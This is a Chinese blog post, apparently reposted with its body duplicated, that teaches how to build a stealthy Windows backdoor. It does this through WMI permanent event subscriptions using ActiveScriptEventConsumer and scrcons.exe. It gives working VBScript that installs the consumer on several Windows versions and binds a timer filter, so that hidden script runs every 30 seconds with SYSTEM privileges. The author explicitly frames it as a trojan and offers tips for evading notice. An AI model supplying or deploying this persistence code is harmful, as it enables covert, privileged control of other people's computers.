利用WMI打造完美三無后門(scrcons.exe)
發(fā)布時(shí)間:2013-05-16 18:17:29 作者:佚名
我要評論

ASEC是WMI中的一個(gè)標(biāo)準(zhǔn)永久事件消費(fèi)者。它的作用是當(dāng)與其綁定的一個(gè)事件到達(dá)時(shí),可以執(zhí)行一段預(yù)先設(shè)定好的JS/VBS腳本
來源:菠蘿的菠蘿格
Welcome!各位ScriptKid,歡迎來到腳本世界。
今天忙了一天,比較累。不廢話那么多了,切入正題。
這個(gè)“三無”后門的核心就是WMI中的永久事件消費(fèi)者ActiveScriptEventConsumer(以下簡稱ASEC)。WMI中有許多這 類的事件消費(fèi)者,簡單的來說,當(dāng)與其綁定的事件到達(dá)時(shí),消費(fèi)者就會(huì)被觸發(fā)執(zhí)行預(yù)先定義好的功能。例如可以用來執(zhí)行二進(jìn)制程序的 CommandLineEventConsumer等等
ASEC是WMI中的一個(gè)標(biāo)準(zhǔn)永久事件消費(fèi)者。它的作用是當(dāng)與其綁定的一個(gè)事件到達(dá)時(shí),可以執(zhí)行一段預(yù)先設(shè)定好的JS/VBS腳本。
先來看一下其原型:
class ActiveScriptEventConsumer : __EventConsumer
{
uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消費(fèi)者的CreatorSID 只讀
uint32 KillTimeout = 0; //腳本允許被執(zhí)行的時(shí)間 默認(rèn)為0,腳本不會(huì)被終止
string MachineName;
uint32 MaximumQueueSize;
string Name; //自定義的事件消費(fèi)者的名字。
string ScriptingEngine; //用于解釋腳本的腳本引擎。VBScript或者JScript
string ScriptFileName; //如果你想從一個(gè)文件里面讀取想執(zhí)行的腳本的話,寫上這里吧。
string ScriptText; //用于執(zhí)行的腳本代碼。與ScriptFileName不共戴天。有你沒我,有我沒你
};
ASEC的安裝
對于XP以后的系統(tǒng)來說,ASEC已經(jīng)默認(rèn)安裝到了root\subscription名稱空間。我們可以直接調(diào)用。2000自帶有ASEC的 mof文件,但是沒有默認(rèn)安裝,需要我們自己安裝。另外由于大部分的事件都是在root\cimv2里產(chǎn)生,所以如果你想直接捕獲一些系統(tǒng)事件作為觸發(fā)器 的話,還得在其他的名稱空間中安裝ASEC。來看一下在2000/XP/Vista下安裝ASEC到root\cimv2的代碼。
Function InstallASECForWin2K ’安裝ASEC For Windows 2000’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替換默認(rèn)的名稱空間
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWin2K Install OK!"
End Function
Function InstallASECForWinXP ’安裝ASEC For Windows XP’
Dim ASECPathXP
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接運(yùn)行安裝即可
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinXP Install OK!"
End Function
Function InstallASECForVista ’安裝ASEC For Windows Vista’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof")
Set MofFile = f.OpenAsTextStream(1,-2)
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要?jiǎng)h除autorecover,否則安裝出錯(cuò)
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinVista Install OK!"
End Function
再來看一個(gè)綁定事件和ASEC的實(shí)例。
Function InstallUpdateableTrojan
WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名稱空間
TrojanName="ScriptKids" //自定義的消費(fèi)者名字,也就是你的后門的名字
TrojanRunTimer=30000 //自定義的腳本運(yùn)行間隔
strtxt="" //自定義的腳本內(nèi)容。為了隱蔽我們就不用scriptfilename了。會(huì)被Windows編碼后寫入CIM存儲(chǔ)庫
’配置事件消費(fèi)者’
set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
Asec.name=TrojanName&"_consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext=strtxt
set Asecpath=Asec.put_
’配置計(jì)時(shí)器’
set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
WMITimer.timerid=TrojanName&"_WMITimer"
WMITimer.intervalbetweenevents=TrojanRunTimer
WMITimer.skipifpassed=false
WMITimer.put_
’配置事件過濾器’
set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
EventFilter.name=TrojanName&"_filter"
EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
EventFilter.querylanguage="wql"
set FilterPath=EventFilter.put_
’綁定消費(fèi)者和過濾器’
set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
Binds.consumer=Asecpath.path
Binds.filter=FilterPath.path
Binds.put_
End Function
以上代碼的含義就是當(dāng)我們自定義的一個(gè)計(jì)時(shí)器事件發(fā)生時(shí),會(huì)被我們所配置的事件過濾器捕獲到,并觸發(fā)與過濾器綁定的消費(fèi)者,也就是我們自定義了腳本的ASEC。達(dá)到我們每隔30秒執(zhí)行一次我們自定義的腳本的目的。很簡單吧:)
最后要說的是,我們自定義的腳本運(yùn)行時(shí),是由系統(tǒng)自帶的scrcons.exe作為腳本宿主進(jìn)行解析,而scrcons.exe是由系統(tǒng)以 SYSTEM權(quán)限啟動(dòng)的,也就是說,我們的腳本是以SYSTEM權(quán)限執(zhí)行,并且其所創(chuàng)建的任意進(jìn)程都會(huì)繼承SYSTEM權(quán)限。美中不足的就是,每當(dāng)腳本執(zhí) 行時(shí),會(huì)平白多出一個(gè)scrcons.exe的系統(tǒng)進(jìn)程。這也是這個(gè)腳本后門目前最容易被發(fā)現(xiàn)的一個(gè)弱點(diǎn)。不過,當(dāng)這個(gè)腳本24小時(shí)才運(yùn)行一次時(shí),有多少 人會(huì)注意到呢?
Welcome!各位ScriptKid,歡迎來到腳本世界。
今天忙了一天,比較累。不廢話那么多了,切入正題。
這個(gè)“三無”后門的核心就是WMI中的永久事件消費(fèi)者ActiveScriptEventConsumer(以下簡稱ASEC)。WMI中有許多這 類的事件消費(fèi)者,簡單的來說,當(dāng)與其綁定的事件到達(dá)時(shí),消費(fèi)者就會(huì)被觸發(fā)執(zhí)行預(yù)先定義好的功能。例如可以用來執(zhí)行二進(jìn)制程序的 CommandLineEventConsumer等等
ASEC是WMI中的一個(gè)標(biāo)準(zhǔn)永久事件消費(fèi)者。它的作用是當(dāng)與其綁定的一個(gè)事件到達(dá)時(shí),可以執(zhí)行一段預(yù)先設(shè)定好的JS/VBS腳本。
先來看一下其原型:
復(fù)制代碼
代碼如下:class ActiveScriptEventConsumer : __EventConsumer
{
uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消費(fèi)者的CreatorSID 只讀
uint32 KillTimeout = 0; //腳本允許被執(zhí)行的時(shí)間 默認(rèn)為0,腳本不會(huì)被終止
string MachineName;
uint32 MaximumQueueSize;
string Name; //自定義的事件消費(fèi)者的名字。
string ScriptingEngine; //用于解釋腳本的腳本引擎。VBScript或者JScript
string ScriptFileName; //如果你想從一個(gè)文件里面讀取想執(zhí)行的腳本的話,寫上這里吧。
string ScriptText; //用于執(zhí)行的腳本代碼。與ScriptFileName不共戴天。有你沒我,有我沒你
};
ASEC的安裝
對于XP以后的系統(tǒng)來說,ASEC已經(jīng)默認(rèn)安裝到了root\subscription名稱空間。我們可以直接調(diào)用。2000自帶有ASEC的 mof文件,但是沒有默認(rèn)安裝,需要我們自己安裝。另外由于大部分的事件都是在root\cimv2里產(chǎn)生,所以如果你想直接捕獲一些系統(tǒng)事件作為觸發(fā)器 的話,還得在其他的名稱空間中安裝ASEC。來看一下在2000/XP/Vista下安裝ASEC到root\cimv2的代碼。
復(fù)制代碼
代碼如下:Function InstallASECForWin2K ’安裝ASEC For Windows 2000’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替換默認(rèn)的名稱空間
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWin2K Install OK!"
End Function
Function InstallASECForWinXP ’安裝ASEC For Windows XP’
Dim ASECPathXP
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接運(yùn)行安裝即可
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinXP Install OK!"
End Function
Function InstallASECForVista ’安裝ASEC For Windows Vista’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof")
Set MofFile = f.OpenAsTextStream(1,-2)
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要?jiǎng)h除autorecover,否則安裝出錯(cuò)
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinVista Install OK!"
End Function
再來看一個(gè)綁定事件和ASEC的實(shí)例。
復(fù)制代碼
代碼如下:Function InstallUpdateableTrojan
WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名稱空間
TrojanName="ScriptKids" //自定義的消費(fèi)者名字,也就是你的后門的名字
TrojanRunTimer=30000 //自定義的腳本運(yùn)行間隔
strtxt="" //自定義的腳本內(nèi)容。為了隱蔽我們就不用scriptfilename了。會(huì)被Windows編碼后寫入CIM存儲(chǔ)庫
’配置事件消費(fèi)者’
set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
Asec.name=TrojanName&"_consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext=strtxt
set Asecpath=Asec.put_
’配置計(jì)時(shí)器’
set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
WMITimer.timerid=TrojanName&"_WMITimer"
WMITimer.intervalbetweenevents=TrojanRunTimer
WMITimer.skipifpassed=false
WMITimer.put_
’配置事件過濾器’
set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
EventFilter.name=TrojanName&"_filter"
EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
EventFilter.querylanguage="wql"
set FilterPath=EventFilter.put_
’綁定消費(fèi)者和過濾器’
set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
Binds.consumer=Asecpath.path
Binds.filter=FilterPath.path
Binds.put_
End Function
以上代碼的含義就是當(dāng)我們自定義的一個(gè)計(jì)時(shí)器事件發(fā)生時(shí),會(huì)被我們所配置的事件過濾器捕獲到,并觸發(fā)與過濾器綁定的消費(fèi)者,也就是我們自定義了腳本的ASEC。達(dá)到我們每隔30秒執(zhí)行一次我們自定義的腳本的目的。很簡單吧:)
最后要說的是,我們自定義的腳本運(yùn)行時(shí),是由系統(tǒng)自帶的scrcons.exe作為腳本宿主進(jìn)行解析,而scrcons.exe是由系統(tǒng)以 SYSTEM權(quán)限啟動(dòng)的,也就是說,我們的腳本是以SYSTEM權(quán)限執(zhí)行,并且其所創(chuàng)建的任意進(jìn)程都會(huì)繼承SYSTEM權(quán)限。美中不足的就是,每當(dāng)腳本執(zhí) 行時(shí),會(huì)平白多出一個(gè)scrcons.exe的系統(tǒng)進(jìn)程。這也是這個(gè)腳本后門目前最容易被發(fā)現(xiàn)的一個(gè)弱點(diǎn)。不過,當(dāng)這個(gè)腳本24小時(shí)才運(yùn)行一次時(shí),有多少 人會(huì)注意到呢?
相關(guān)文章
thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來介紹一下thinkphp官方修復(fù)的一個(gè)getshell漏洞,框架對控制器沒有進(jìn)行足夠的檢測導(dǎo)致的一處getshell,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點(diǎn)服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實(shí)例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語句(完整版)
這里為大家分享一下sql注入的一些語句,很多情況下由于程序員的安全意識(shí)薄弱或基本功不足就容易導(dǎo)致sql注入安全問題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)2017-05-19- 對于目前流行的sql注入,程序員在編寫程序時(shí),都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會(huì)自動(dòng)的記錄下你的IP地址,提交的非法參數(shù)和動(dòng)作等,2017-04-29
XSS繞過技術(shù) XSS插入繞過一些方式總結(jié)
我們友情進(jìn)行XSS檢查,偶然跳出個(gè)小彈窗,其中我們總結(jié)了一些平時(shí)可能用到的XSS插入方式,方便我們以后進(jìn)行快速檢查,也提供了一定的思路,其中XSS有反射、存儲(chǔ)、DOM這三類2016-12-27Python 爬蟲使用動(dòng)態(tài)切換ip防止封殺
這篇文章主要介紹了Python 爬蟲使用動(dòng)態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08使用爬蟲采集網(wǎng)站時(shí),解決被封IP的幾種方法
這篇文章主要介紹了使用爬蟲采集網(wǎng)站時(shí),解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08